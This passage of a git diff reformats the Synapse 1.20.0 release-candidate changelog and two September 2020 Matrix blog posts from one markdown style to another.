to lock down external access to the Admin API endpoints. -Synapse 1.20.0rc5 (2020-09-18) -============================== +## Synapse 1.20.0rc5 (2020-09-18) In addition to the below, Synapse 1.20.0rc5 also includes the bug fix that was included in 1.19.3. -Features --------- +### Features -- Add flags to the `/versions` endpoint for whether new rooms default to using E2EE. ([\#8343](https://github.com/matrix-org/synapse/issues/8343)) +* Add flags to the `/versions` endpoint for whether new rooms default to using E2EE. ([\#8343](https://github.com/matrix-org/synapse/issues/8343)) -Bugfixes --------- +### Bugfixes -- Fix rate limiting of federation `/send` requests. ([\#8342](https://github.com/matrix-org/synapse/issues/8342)) -- Fix a longstanding bug where back pagination over federation could get stuck if it failed to handle a received event. ([\#8349](https://github.com/matrix-org/synapse/issues/8349)) +* Fix rate limiting of federation `/send` requests. ([\#8342](https://github.com/matrix-org/synapse/issues/8342)) +* Fix a longstanding bug where back pagination over federation could get stuck if it failed to handle a received event. ([\#8349](https://github.com/matrix-org/synapse/issues/8349)) -Internal Changes ----------------- +### Internal Changes -- Blacklist [MSC2753](https://github.com/matrix-org/matrix-doc/pull/2753) SyTests until it is implemented. ([\#8285](https://github.com/matrix-org/synapse/issues/8285)) +* Blacklist [MSC2753](https://github.com/matrix-org/matrix-doc/pull/2753) SyTests until it is implemented. ([\#8285](https://github.com/matrix-org/synapse/issues/8285)) -Synapse 1.20.0rc4 (2020-09-16) -============================== +## Synapse 1.20.0rc4 (2020-09-16) Synapse 1.20.0rc4 is identical to 1.20.0rc3, with the addition of the security fix that was included in 1.19.2. -Synapse 1.20.0rc3 (2020-09-11) -============================== +## Synapse 1.20.0rc3 (2020-09-11) -Bugfixes --------- +### Bugfixes -- Fix a bug introduced in v1.20.0rc1 where the wrong exception was raised when invalid JSON data is encountered. ([\#8291](https://github.com/matrix-org/synapse/issues/8291)) +* Fix a bug introduced in v1.20.0rc1 where the wrong exception was raised when invalid JSON data is encountered. ([\#8291](https://github.com/matrix-org/synapse/issues/8291)) -Synapse 1.20.0rc2 (2020-09-09) -============================== +## Synapse 1.20.0rc2 (2020-09-09) -Bugfixes --------- +### Bugfixes -- Fix a bug introduced in v1.20.0rc1 causing some features related to notifications to misbehave following the implementation of unread counts. ([\#8280](https://github.com/matrix-org/synapse/issues/8280)) +* Fix a bug introduced in v1.20.0rc1 causing some features related to notifications to misbehave following the implementation of unread counts. ([\#8280](https://github.com/matrix-org/synapse/issues/8280)) -Synapse 1.20.0rc1 (2020-09-08) -============================== +## Synapse 1.20.0rc1 (2020-09-08) -Removal warning ---------------- +### Removal warning Some older clients used a [disallowed character](https://matrix.org/docs/spec/client_server/r0.6.1#post-matrix-client-r0-register-email-requesttoken) (`:`) in the `client_secret` parameter of various endpoints. The incorrect behaviour was allowed for backwards compatibility, but is now being removed from Synapse as most users have updated their client. Further context can be found at [\#6766](https://github.com/matrix-org/synapse/issues/6766). -Features --------- - -- Add an endpoint to query your shared rooms with another user as an implementation of [MSC2666](https://github.com/matrix-org/matrix-doc/pull/2666). ([\#7785](https://github.com/matrix-org/synapse/issues/7785)) -- Iteratively encode JSON to avoid blocking the reactor. ([\#8013](https://github.com/matrix-org/synapse/issues/8013), [\#8116](https://github.com/matrix-org/synapse/issues/8116)) -- Add support for shadow-banning users (ignoring any message send requests). ([\#8034](https://github.com/matrix-org/synapse/issues/8034), [\#8092](https://github.com/matrix-org/synapse/issues/8092), [\#8095](https://github.com/matrix-org/synapse/issues/8095), [\#8142](https://github.com/matrix-org/synapse/issues/8142), [\#8152](https://github.com/matrix-org/synapse/issues/8152), [\#8157](https://github.com/matrix-org/synapse/issues/8157), [\#8158](https://github.com/matrix-org/synapse/issues/8158), [\#8176](https://github.com/matrix-org/synapse/issues/8176)) -- Use the default template file when its equivalent is not found in a custom template directory. ([\#8037](https://github.com/matrix-org/synapse/issues/8037), [\#8107](https://github.com/matrix-org/synapse/issues/8107), [\#8252](https://github.com/matrix-org/synapse/issues/8252)) -- Add unread messages count to sync responses, as specified in [MSC2654](https://github.com/matrix-org/matrix-doc/pull/2654). ([\#8059](https://github.com/matrix-org/synapse/issues/8059), [\#8254](https://github.com/matrix-org/synapse/issues/8254), [\#8270](https://github.com/matrix-org/synapse/issues/8270), [\#8274](https://github.com/matrix-org/synapse/issues/8274)) -- Optimise `/federation/v1/user/devices/` API by only returning devices with encryption keys. ([\#8198](https://github.com/matrix-org/synapse/issues/8198)) - -Bugfixes --------- - -- Fix a memory leak by limiting the length of time that messages will be queued for a remote server that has been unreachable. ([\#7864](https://github.com/matrix-org/synapse/issues/7864)) -- Fix `Re-starting finished log context PUT-nnnn` warning when event persistence failed. ([\#8081](https://github.com/matrix-org/synapse/issues/8081)) -- Synapse now correctly enforces the valid characters in the `client_secret` parameter used in various endpoints. ([\#8101](https://github.com/matrix-org/synapse/issues/8101)) -- Fix a bug introduced in v1.7.2 impacting message retention policies that would allow federated homeservers to dictate a retention period that's lower than the configured minimum allowed duration in the configuration file. ([\#8104](https://github.com/matrix-org/synapse/issues/8104)) -- Fix a long-standing bug where invalid JSON would be accepted by Synapse. ([\#8106](https://github.com/matrix-org/synapse/issues/8106)) -- Fix a bug introduced in Synapse v1.12.0 which could cause `/sync` requests to fail with a 404 if you had a very old outstanding room invite. ([\#8110](https://github.com/matrix-org/synapse/issues/8110)) -- Return a proper error code when the rooms of an invalid group are requested. ([\#8129](https://github.com/matrix-org/synapse/issues/8129)) -- Fix a bug which could cause a leaked postgres connection if synapse was set to daemonize. ([\#8131](https://github.com/matrix-org/synapse/issues/8131)) -- Clarify the error code if a user tries to register with a numeric ID. This bug was introduced in v1.15.0. ([\#8135](https://github.com/matrix-org/synapse/issues/8135)) -- Fix a bug where appservices with ratelimiting disabled would still be ratelimited when joining rooms. This bug was introduced in v1.19.0. ([\#8139](https://github.com/matrix-org/synapse/issues/8139)) -- Fix logging in via OpenID Connect with a provider that uses integer user IDs. ([\#8190](https://github.com/matrix-org/synapse/issues/8190)) -- Fix a longstanding bug where user directory updates could break when unexpected profile data was included in events. ([\#8223](https://github.com/matrix-org/synapse/issues/8223)) -- Fix a longstanding bug where stats updates could break when unexpected profile data was included in events. ([\#8226](https://github.com/matrix-org/synapse/issues/8226)) -- Fix slow start times for large servers by removing a table scan of the `users` table from startup code. ([\#8271](https://github.com/matrix-org/synapse/issues/8271)) - -Updates to the Docker image ---------------------------- - -- Fix builds of the Docker image on non-x86 platforms. ([\#8144](https://github.com/matrix-org/synapse/issues/8144)) -- Added curl for healthcheck support and readme updates for the change. Contributed by @maquis196. ([\#8147](https://github.com/matrix-org/synapse/issues/8147)) - -Improved Documentation ----------------------- - -- Link to matrix-synapse-rest-password-provider in the password provider documentation. ([\#8111](https://github.com/matrix-org/synapse/issues/8111)) -- Updated documentation to note that Synapse does not follow `HTTP 308` redirects due to an upstream library not supporting them. Contributed by Ryan Cole. ([\#8120](https://github.com/matrix-org/synapse/issues/8120)) -- Explain better what GDPR-erased means when deactivating a user. ([\#8189](https://github.com/matrix-org/synapse/issues/8189)) - -Internal Changes ----------------- - -- Add filter `name` to the `/users` admin API, which filters by user ID or displayname. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#7377](https://github.com/matrix-org/synapse/issues/7377), [\#8163](https://github.com/matrix-org/synapse/issues/8163)) -- Reduce run times of some unit tests by advancing the reactor a fewer number of times. ([\#7757](https://github.com/matrix-org/synapse/issues/7757)) -- Don't fail `/submit_token` requests on incorrect session ID if `request_token_inhibit_3pid_errors` is turned on. ([\#7991](https://github.com/matrix-org/synapse/issues/7991)) -- Convert various parts of the codebase to async/await. ([\#8071](https://github.com/matrix-org/synapse/issues/8071), [\#8072](https://github.com/matrix-org/synapse/issues/8072), [\#8074](https://github.com/matrix-org/synapse/issues/8074), [\#8075](https://github.com/matrix-org/synapse/issues/8075), [\#8076](https://github.com/matrix-org/synapse/issues/8076), [\#8087](https://github.com/matrix-org/synapse/issues/8087), [\#8100](https://github.com/matrix-org/synapse/issues/8100), [\#8119](https://github.com/matrix-org/synapse/issues/8119), [\#8121](https://github.com/matrix-org/synapse/issues/8121), [\#8133](https://github.com/matrix-org/synapse/issues/8133), [\#8156](https://github.com/matrix-org/synapse/issues/8156), [\#8162](https://github.com/matrix-org/synapse/issues/8162), [\#8166](https://github.com/matrix-org/synapse/issues/8166), [\#8168](https://github.com/matrix-org/synapse/issues/8168), [\#8173](https://github.com/matrix-org/synapse/issues/8173), [\#8191](https://github.com/matrix-org/synapse/issues/8191), [\#8192](https://github.com/matrix-org/synapse/issues/8192), [\#8193](https://github.com/matrix-org/synapse/issues/8193), [\#8194](https://github.com/matrix-org/synapse/issues/8194), [\#8195](https://github.com/matrix-org/synapse/issues/8195), [\#8197](https://github.com/matrix-org/synapse/issues/8197), [\#8199](https://github.com/matrix-org/synapse/issues/8199), [\#8200](https://github.com/matrix-org/synapse/issues/8200), [\#8201](https://github.com/matrix-org/synapse/issues/8201), [\#8202](https://github.com/matrix-org/synapse/issues/8202), [\#8207](https://github.com/matrix-org/synapse/issues/8207), [\#8213](https://github.com/matrix-org/synapse/issues/8213), [\#8214](https://github.com/matrix-org/synapse/issues/8214)) -- Remove some unused database functions. ([\#8085](https://github.com/matrix-org/synapse/issues/8085)) -- Add type hints to various parts of the codebase. ([\#8090](https://github.com/matrix-org/synapse/issues/8090), [\#8127](https://github.com/matrix-org/synapse/issues/8127), [\#8187](https://github.com/matrix-org/synapse/issues/8187), [\#8241](https://github.com/matrix-org/synapse/issues/8241), [\#8140](https://github.com/matrix-org/synapse/issues/8140), [\#8183](https://github.com/matrix-org/synapse/issues/8183), [\#8232](https://github.com/matrix-org/synapse/issues/8232), [\#8235](https://github.com/matrix-org/synapse/issues/8235), [\#8237](https://github.com/matrix-org/synapse/issues/8237), [\#8244](https://github.com/matrix-org/synapse/issues/8244)) -- Return the previous stream token if a non-member event is a duplicate. ([\#8093](https://github.com/matrix-org/synapse/issues/8093), [\#8112](https://github.com/matrix-org/synapse/issues/8112)) -- Separate `get_current_token` into two since there are two different use cases for it. ([\#8113](https://github.com/matrix-org/synapse/issues/8113)) -- Remove `ChainedIdGenerator`. ([\#8123](https://github.com/matrix-org/synapse/issues/8123)) -- Reduce the amount of whitespace in JSON stored and sent in responses. ([\#8124](https://github.com/matrix-org/synapse/issues/8124)) -- Update the test federation client to handle streaming responses. ([\#8130](https://github.com/matrix-org/synapse/issues/8130)) -- Micro-optimisations to `get_auth_chain_ids`. ([\#8132](https://github.com/matrix-org/synapse/issues/8132)) -- Refactor `StreamIdGenerator` and `MultiWriterIdGenerator` to have the same interface. ([\#8161](https://github.com/matrix-org/synapse/issues/8161)) -- Add functions to `MultiWriterIdGen` used by events stream. ([\#8164](https://github.com/matrix-org/synapse/issues/8164), [\#8179](https://github.com/matrix-org/synapse/issues/8179)) -- Fix tests that were broken due to the merge of 1.19.1. ([\#8167](https://github.com/matrix-org/synapse/issues/8167)) -- Make `SlavedIdTracker.advance` have the same interface as `MultiWriterIDGenerator`. ([\#8171](https://github.com/matrix-org/synapse/issues/8171)) -- Remove unused `is_guest` parameter from, and add safeguard to, `MessageHandler.get_room_data`. ([\#8174](https://github.com/matrix-org/synapse/issues/8174), [\#8181](https://github.com/matrix-org/synapse/issues/8181)) -- Standardize the mypy configuration. ([\#8175](https://github.com/matrix-org/synapse/issues/8175)) -- Refactor some of `LoginRestServlet`'s helper methods, and move them to `AuthHandler` for easier reuse. ([\#8182](https://github.com/matrix-org/synapse/issues/8182)) -- Fix `wait_for_stream_position` to allow multiple waiters on same stream ID. ([\#8196](https://github.com/matrix-org/synapse/issues/8196)) -- Make `MultiWriterIDGenerator` work for streams that use negative values. ([\#8203](https://github.com/matrix-org/synapse/issues/8203)) -- Refactor queries for device keys and cross-signatures. ([\#8204](https://github.com/matrix-org/synapse/issues/8204), [\#8205](https://github.com/matrix-org/synapse/issues/8205), [\#8222](https://github.com/matrix-org/synapse/issues/8222), [\#8224](https://github.com/matrix-org/synapse/issues/8224), [\#8225](https://github.com/matrix-org/synapse/issues/8225), [\#8231](https://github.com/matrix-org/synapse/issues/8231), [\#8233](https://github.com/matrix-org/synapse/issues/8233), [\#8234](https://github.com/matrix-org/synapse/issues/8234)) -- Fix type hints for functions decorated with `@cached`. ([\#8240](https://github.com/matrix-org/synapse/issues/8240)) -- Remove obsolete `order` field from federation send queues. ([\#8245](https://github.com/matrix-org/synapse/issues/8245)) -- Stop sub-classing from object. ([\#8249](https://github.com/matrix-org/synapse/issues/8249)) -- Add more logging to debug slow startup. ([\#8264](https://github.com/matrix-org/synapse/issues/8264)) -- Do not attempt to upgrade database schema on worker processes. ([\#8266](https://github.com/matrix-org/synapse/issues/8266), [\#8276](https://github.com/matrix-org/synapse/issues/8276)) +### Features + +* Add an endpoint to query your shared rooms with another user as an implementation of [MSC2666](https://github.com/matrix-org/matrix-doc/pull/2666). ([\#7785](https://github.com/matrix-org/synapse/issues/7785)) +* Iteratively encode JSON to avoid blocking the reactor. ([\#8013](https://github.com/matrix-org/synapse/issues/8013), [\#8116](https://github.com/matrix-org/synapse/issues/8116)) +* Add support for shadow-banning users (ignoring any message send requests). ([\#8034](https://github.com/matrix-org/synapse/issues/8034), [\#8092](https://github.com/matrix-org/synapse/issues/8092), [\#8095](https://github.com/matrix-org/synapse/issues/8095), [\#8142](https://github.com/matrix-org/synapse/issues/8142), [\#8152](https://github.com/matrix-org/synapse/issues/8152), [\#8157](https://github.com/matrix-org/synapse/issues/8157), [\#8158](https://github.com/matrix-org/synapse/issues/8158), [\#8176](https://github.com/matrix-org/synapse/issues/8176)) +* Use the default template file when its equivalent is not found in a custom template directory. ([\#8037](https://github.com/matrix-org/synapse/issues/8037), [\#8107](https://github.com/matrix-org/synapse/issues/8107), [\#8252](https://github.com/matrix-org/synapse/issues/8252)) +* Add unread messages count to sync responses, as specified in [MSC2654](https://github.com/matrix-org/matrix-doc/pull/2654). ([\#8059](https://github.com/matrix-org/synapse/issues/8059), [\#8254](https://github.com/matrix-org/synapse/issues/8254), [\#8270](https://github.com/matrix-org/synapse/issues/8270), [\#8274](https://github.com/matrix-org/synapse/issues/8274)) +* Optimise `/federation/v1/user/devices/` API by only returning devices with encryption keys. ([\#8198](https://github.com/matrix-org/synapse/issues/8198)) + +### Bugfixes + +* Fix a memory leak by limiting the length of time that messages will be queued for a remote server that has been unreachable. ([\#7864](https://github.com/matrix-org/synapse/issues/7864)) +* Fix `Re-starting finished log context PUT-nnnn` warning when event persistence failed. ([\#8081](https://github.com/matrix-org/synapse/issues/8081)) +* Synapse now correctly enforces the valid characters in the `client_secret` parameter used in various endpoints. ([\#8101](https://github.com/matrix-org/synapse/issues/8101)) +* Fix a bug introduced in v1.7.2 impacting message retention policies that would allow federated homeservers to dictate a retention period that's lower than the configured minimum allowed duration in the configuration file. ([\#8104](https://github.com/matrix-org/synapse/issues/8104)) +* Fix a long-standing bug where invalid JSON would be accepted by Synapse. ([\#8106](https://github.com/matrix-org/synapse/issues/8106)) +* Fix a bug introduced in Synapse v1.12.0 which could cause `/sync` requests to fail with a 404 if you had a very old outstanding room invite. ([\#8110](https://github.com/matrix-org/synapse/issues/8110)) +* Return a proper error code when the rooms of an invalid group are requested. ([\#8129](https://github.com/matrix-org/synapse/issues/8129)) +* Fix a bug which could cause a leaked postgres connection if synapse was set to daemonize. ([\#8131](https://github.com/matrix-org/synapse/issues/8131)) +* Clarify the error code if a user tries to register with a numeric ID. This bug was introduced in v1.15.0. ([\#8135](https://github.com/matrix-org/synapse/issues/8135)) +* Fix a bug where appservices with ratelimiting disabled would still be ratelimited when joining rooms. This bug was introduced in v1.19.0. ([\#8139](https://github.com/matrix-org/synapse/issues/8139)) +* Fix logging in via OpenID Connect with a provider that uses integer user IDs. ([\#8190](https://github.com/matrix-org/synapse/issues/8190)) +* Fix a longstanding bug where user directory updates could break when unexpected profile data was included in events. ([\#8223](https://github.com/matrix-org/synapse/issues/8223)) +* Fix a longstanding bug where stats updates could break when unexpected profile data was included in events. ([\#8226](https://github.com/matrix-org/synapse/issues/8226)) +* Fix slow start times for large servers by removing a table scan of the `users` table from startup code. ([\#8271](https://github.com/matrix-org/synapse/issues/8271)) + +### Updates to the Docker image + +* Fix builds of the Docker image on non-x86 platforms. ([\#8144](https://github.com/matrix-org/synapse/issues/8144)) +* Added curl for healthcheck support and readme updates for the change. Contributed by @maquis196. ([\#8147](https://github.com/matrix-org/synapse/issues/8147)) + +### Improved Documentation + +* Link to matrix-synapse-rest-password-provider in the password provider documentation. ([\#8111](https://github.com/matrix-org/synapse/issues/8111)) +* Updated documentation to note that Synapse does not follow `HTTP 308` redirects due to an upstream library not supporting them. Contributed by Ryan Cole. ([\#8120](https://github.com/matrix-org/synapse/issues/8120)) +* Explain better what GDPR-erased means when deactivating a user. ([\#8189](https://github.com/matrix-org/synapse/issues/8189)) + +### Internal Changes + +* Add filter `name` to the `/users` admin API, which filters by user ID or displayname. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#7377](https://github.com/matrix-org/synapse/issues/7377), [\#8163](https://github.com/matrix-org/synapse/issues/8163)) +* Reduce run times of some unit tests by advancing the reactor a fewer number of times. ([\#7757](https://github.com/matrix-org/synapse/issues/7757)) +* Don't fail `/submit_token` requests on incorrect session ID if `request_token_inhibit_3pid_errors` is turned on. ([\#7991](https://github.com/matrix-org/synapse/issues/7991)) +* Convert various parts of the codebase to async/await. ([\#8071](https://github.com/matrix-org/synapse/issues/8071), [\#8072](https://github.com/matrix-org/synapse/issues/8072), [\#8074](https://github.com/matrix-org/synapse/issues/8074), [\#8075](https://github.com/matrix-org/synapse/issues/8075), [\#8076](https://github.com/matrix-org/synapse/issues/8076), [\#8087](https://github.com/matrix-org/synapse/issues/8087), [\#8100](https://github.com/matrix-org/synapse/issues/8100), [\#8119](https://github.com/matrix-org/synapse/issues/8119), [\#8121](https://github.com/matrix-org/synapse/issues/8121), [\#8133](https://github.com/matrix-org/synapse/issues/8133), [\#8156](https://github.com/matrix-org/synapse/issues/8156), [\#8162](https://github.com/matrix-org/synapse/issues/8162), [\#8166](https://github.com/matrix-org/synapse/issues/8166), [\#8168](https://github.com/matrix-org/synapse/issues/8168), [\#8173](https://github.com/matrix-org/synapse/issues/8173), [\#8191](https://github.com/matrix-org/synapse/issues/8191), [\#8192](https://github.com/matrix-org/synapse/issues/8192), [\#8193](https://github.com/matrix-org/synapse/issues/8193), [\#8194](https://github.com/matrix-org/synapse/issues/8194), [\#8195](https://github.com/matrix-org/synapse/issues/8195), [\#8197](https://github.com/matrix-org/synapse/issues/8197), [\#8199](https://github.com/matrix-org/synapse/issues/8199), [\#8200](https://github.com/matrix-org/synapse/issues/8200), [\#8201](https://github.com/matrix-org/synapse/issues/8201), [\#8202](https://github.com/matrix-org/synapse/issues/8202), [\#8207](https://github.com/matrix-org/synapse/issues/8207), [\#8213](https://github.com/matrix-org/synapse/issues/8213), [\#8214](https://github.com/matrix-org/synapse/issues/8214)) +* Remove some unused database functions. ([\#8085](https://github.com/matrix-org/synapse/issues/8085)) +* Add type hints to various parts of the codebase. ([\#8090](https://github.com/matrix-org/synapse/issues/8090), [\#8127](https://github.com/matrix-org/synapse/issues/8127), [\#8187](https://github.com/matrix-org/synapse/issues/8187), [\#8241](https://github.com/matrix-org/synapse/issues/8241), [\#8140](https://github.com/matrix-org/synapse/issues/8140), [\#8183](https://github.com/matrix-org/synapse/issues/8183), [\#8232](https://github.com/matrix-org/synapse/issues/8232), [\#8235](https://github.com/matrix-org/synapse/issues/8235), [\#8237](https://github.com/matrix-org/synapse/issues/8237), [\#8244](https://github.com/matrix-org/synapse/issues/8244)) +* Return the previous stream token if a non-member event is a duplicate. ([\#8093](https://github.com/matrix-org/synapse/issues/8093), [\#8112](https://github.com/matrix-org/synapse/issues/8112)) +* Separate `get_current_token` into two since there are two different use cases for it. ([\#8113](https://github.com/matrix-org/synapse/issues/8113)) +* Remove `ChainedIdGenerator`. ([\#8123](https://github.com/matrix-org/synapse/issues/8123)) +* Reduce the amount of whitespace in JSON stored and sent in responses. ([\#8124](https://github.com/matrix-org/synapse/issues/8124)) +* Update the test federation client to handle streaming responses. ([\#8130](https://github.com/matrix-org/synapse/issues/8130)) +* Micro-optimisations to `get_auth_chain_ids`. ([\#8132](https://github.com/matrix-org/synapse/issues/8132)) +* Refactor `StreamIdGenerator` and `MultiWriterIdGenerator` to have the same interface. ([\#8161](https://github.com/matrix-org/synapse/issues/8161)) +* Add functions to `MultiWriterIdGen` used by events stream. ([\#8164](https://github.com/matrix-org/synapse/issues/8164), [\#8179](https://github.com/matrix-org/synapse/issues/8179)) +* Fix tests that were broken due to the merge of 1.19.1. ([\#8167](https://github.com/matrix-org/synapse/issues/8167)) +* Make `SlavedIdTracker.advance` have the same interface as `MultiWriterIDGenerator`. ([\#8171](https://github.com/matrix-org/synapse/issues/8171)) +* Remove unused `is_guest` parameter from, and add safeguard to, `MessageHandler.get_room_data`. ([\#8174](https://github.com/matrix-org/synapse/issues/8174), [\#8181](https://github.com/matrix-org/synapse/issues/8181)) +* Standardize the mypy configuration. ([\#8175](https://github.com/matrix-org/synapse/issues/8175)) +* Refactor some of `LoginRestServlet`'s helper methods, and move them to `AuthHandler` for easier reuse. ([\#8182](https://github.com/matrix-org/synapse/issues/8182)) +* Fix `wait_for_stream_position` to allow multiple waiters on same stream ID. ([\#8196](https://github.com/matrix-org/synapse/issues/8196)) +* Make `MultiWriterIDGenerator` work for streams that use negative values. ([\#8203](https://github.com/matrix-org/synapse/issues/8203)) +* Refactor queries for device keys and cross-signatures. ([\#8204](https://github.com/matrix-org/synapse/issues/8204), [\#8205](https://github.com/matrix-org/synapse/issues/8205), [\#8222](https://github.com/matrix-org/synapse/issues/8222), [\#8224](https://github.com/matrix-org/synapse/issues/8224), [\#8225](https://github.com/matrix-org/synapse/issues/8225), [\#8231](https://github.com/matrix-org/synapse/issues/8231), [\#8233](https://github.com/matrix-org/synapse/issues/8233), [\#8234](https://github.com/matrix-org/synapse/issues/8234)) +* Fix type hints for functions decorated with `@cached`. ([\#8240](https://github.com/matrix-org/synapse/issues/8240)) +* Remove obsolete `order` field from federation send queues. ([\#8245](https://github.com/matrix-org/synapse/issues/8245)) +* Stop sub-classing from object. ([\#8249](https://github.com/matrix-org/synapse/issues/8249)) +* Add more logging to debug slow startup. ([\#8264](https://github.com/matrix-org/synapse/issues/8264)) +* Do not attempt to upgrade database schema on worker processes. ([\#8266](https://github.com/matrix-org/synapse/issues/8266), [\#8276](https://github.com/matrix-org/synapse/issues/8276)) diff --git a/content/blog/2020/09/2020-09-25-this-week-in-matrix-2020-09-25.md b/content/blog/2020/09/2020-09-25-this-week-in-matrix-2020-09-25.md index 06c3a65cb..bb226dd0b 100644 --- a/content/blog/2020/09/2020-09-25-this-week-in-matrix-2020-09-25.md +++ b/content/blog/2020/09/2020-09-25-this-week-in-matrix-2020-09-25.md @@ -16,7 +16,6 @@ Hello all, and welcome to this week's addition of This Week in Matrix! [Matrix](https://matrix.org) is an open network protocol for secure, decentralized communication on the web. - My name is Andrew (aka `anoa`), and I'm a Synapse developer at Element. Thanks to Ben for letting me take over the reins of TWIM for this week! I'll actually be doing the same for next week as well, so please adjust your @@ -33,7 +32,7 @@ It's demos week again. This time around we've got the following lineup: * Michael shows off all the new widget goodies coming to Element Web! * Bruno shows off Hydrogen's new encrypted session backup support! * Ismail details the new room creation flow on Element iOS! -* Jorik presents his work on revamping the UX of https://matrix.to that he completed for his second summer internship at Element! +* Jorik presents his work on revamping the UX of that he completed for his second summer internship at Element! * Hubert fixes another class of failure-to-decrypt messages edge case with Device Dehydration! * Half-Shot closes off with the tale of Encrypted Bridges! @@ -44,26 +43,32 @@ Don't forget that Matrix Live is also available in podcast form, if you're into [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) (hey that's me!) told us: > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status > >**Merged MSCs:** ->- [MSC1960: OpenID information exchange with widgets](https://github.com/matrix-org/matrix-doc/pull/1960) - +> +>* [MSC1960: OpenID information exchange with widgets](https://github.com/matrix-org/matrix-doc/pull/1960) +> >**MSCs in Final Comment Period:** ->- _No MSCs are in FCP._ - +> +>* _No MSCs are in FCP._ +> >**New MSCs:** ->- [MSC2790: Modal widgets (acquiring user input from a widget)](https://github.com/matrix-org/matrix-doc/pull/2790) ->- [MSC2788: Room version 6 as the default room version](https://github.com/matrix-org/matrix-doc/pull/2788) ->- [MSC2787: Portable Identities](https://github.com/matrix-org/matrix-doc/pull/2787) ->- [MSC2785: Event notification attributes and actions](https://github.com/matrix-org/matrix-doc/pull/2785) ->- [\[WIP\] MSC2783: Homeserver Migration Data Format](https://github.com/matrix-org/matrix-doc/pull/2783) ->- [MSC2782: Pushers with the full event content](https://github.com/matrix-org/matrix-doc/pull/2782) ->- [MSC2781: Deprecate the (reply) fallbacks in the Matrix specification](https://github.com/matrix-org/matrix-doc/pull/2781) +> +>* [MSC2790: Modal widgets (acquiring user input from a widget)](https://github.com/matrix-org/matrix-doc/pull/2790) +>* [MSC2788: Room version 6 as the default room version](https://github.com/matrix-org/matrix-doc/pull/2788) +>* [MSC2787: Portable Identities](https://github.com/matrix-org/matrix-doc/pull/2787) +>* [MSC2785: Event notification attributes and actions](https://github.com/matrix-org/matrix-doc/pull/2785) +>* [\[WIP\] MSC2783: Homeserver Migration Data Format](https://github.com/matrix-org/matrix-doc/pull/2783) +>* [MSC2782: Pushers with the full event content](https://github.com/matrix-org/matrix-doc/pull/2782) +>* [MSC2781: Deprecate the (reply) fallbacks in the Matrix specification](https://github.com/matrix-org/matrix-doc/pull/2781) +> >## Spec Core Team > >In terms of Spec Core Team MSC focus for this week, we've been rather busy with implementation, so we'll be continuing on with the same focus as last week. As a reminder, that's [MSC2414](https://github.com/matrix-org/matrix-doc/issues/2414) (making reason and score optional on reports). - +> +> > ![](/blog/img/2020-09-25-WozRC-image.png) ## Dept of Servers 🏢 @@ -128,8 +133,8 @@ Conduit is a Matrix homeserver written in Rust >* Bug fixes and code cleanup > > We also started work on a system that retries failed or blocked requests after some time. - -> Thanks to everyone who supports me on "Liberapay" (https://liberapay.com/timokoesters) or Bitcoin! +> +> Thanks to everyone who supports me on "Liberapay" () or Bitcoin! ### The Construct @@ -164,7 +169,6 @@ Conduit is a Matrix homeserver written in Rust > 4. > 5. - It's really exciting to see Homeserver development ramping up from all angles, and nice that the protocol warts are slowly getting ironed out in the process. @@ -187,8 +191,6 @@ process. > > [Element Web](https://github.com/YunoHost-Apps/element_ynh/tree/master) integration had been updated to 1.7.5 (1.7.7 available in branch `testing`) - - ### dacruz21/matrix-chart [Typo Kign](https://matrix.to/#/@david:typokign.com) announced: @@ -205,7 +207,7 @@ process. [andreas](https://matrix.to/#/@andreas:matrix.aventer.biz) announced: -> The synapse docker image from AVENTER (https://www.aventer.biz), does support PowerPC (ppc64le) and ARM64 architecture now. But at the moment only under the docker tag "ppc". We will be happy to get feedback. +> The synapse docker image from AVENTER (), does support PowerPC (ppc64le) and ARM64 architecture now. But at the moment only under the docker tag "ppc". We will be happy to get feedback. As a Synapse developer, it's great to see the community making personal and enterprise Matrix deployments more accessible! @@ -234,7 +236,7 @@ enterprise Matrix deployments more accessible! > #### Fixes > > * Timeline randomly resorting while more history is being fetched - +> > * Automatically request history if the "load more" button is on the screen Sorunome briefly mentioned afterwards that there is no 0.19.0 due to some accidental messed up tagging, and that it was easiest to just call the new version 0.19.1. @@ -334,10 +336,9 @@ I'm also desperately in need of this for the 10 `open.spotify.com` links that ge > > Please note that this is independent of any matrix client - you don't even need to run one to be able to use this! - I asked whether an [OpenPush](https://bubu1.eu/openpush/)-like solution be built on top of this , and Sorunome responded that someone had already -started working on just that! https://github.com/gotify/android/pull/115 +started working on just that! This would allow other matrix clients on your phone to get their push notifications through your gotify client, instead of needing to run a process @@ -347,9 +348,10 @@ each. Great for battery life without proprietary Google blobs! [js](https://matrix.to/#/@js:nil.im) got Synapse running in a car on a German highway: +> > ![](/blog/img/2020-09-25-njVLa-matrix_car.jpeg) - -> the setup is a cigarette lighter to 2x 230V converter, one being used to power the RockPro64, the other being used to power my notebook. My notebook is connected to the hotspot from my phone, while also being connected to a USB ethernet, the other end of which is plugged into the RockPro64. +> +> the setup is a cigarette lighter to 2x 230V converter, one being used to power the RockPro64, the other being used to power my notebook. My notebook is connected to the hotspot from my phone, while also being connected to a USB ethernet, the other end of which is plugged into the RockPro64. > > The notebook then acts as a gateway, as well as SSHing to a tiny VPS with -R, to get a public port, and forwarding that traffic to the RockPro64. @@ -422,7 +424,6 @@ Here we reveal, rank, and applaud the homeservers with the lowest ping, as measu > > Based on observations in that room so far, the new server implementations don't like eachother very much. - |Rank|Hostname|Median MS| |:---:|:---:|:---:| |1|conduit.rs|110| diff --git a/content/blog/2020/09/2020-09-30-welcoming-gitter-to-matrix.md b/content/blog/2020/09/2020-09-30-welcoming-gitter-to-matrix.md index 677fdecb6..57fcbeb0f 100644 --- a/content/blog/2020/09/2020-09-30-welcoming-gitter-to-matrix.md +++ b/content/blog/2020/09/2020-09-30-welcoming-gitter-to-matrix.md @@ -36,14 +36,14 @@ This will of course replace the old and creaky [matrix-appservice-gitter](https: Now we come to the interesting bit. Gitter has some *really* nice features which are sorely lacking in Element today: -* Instant live room peeking (less than a second to load the webapp into a live-view of a massive room with 20K users!!) -* Seamless onboarding thanks to using GitLab & GitHub for accounts -* Curated hierarchical room directory -* Magical creation of rooms on demand for every GitLab and GitHub project ever -* GitLab/GitHub activity as a first-class citizen in a room’s side-panel -* Excellent search-engine-friendly static content and archives -* KaTeX support for Maths communities -* Threads! +* Instant live room peeking (less than a second to load the webapp into a live-view of a massive room with 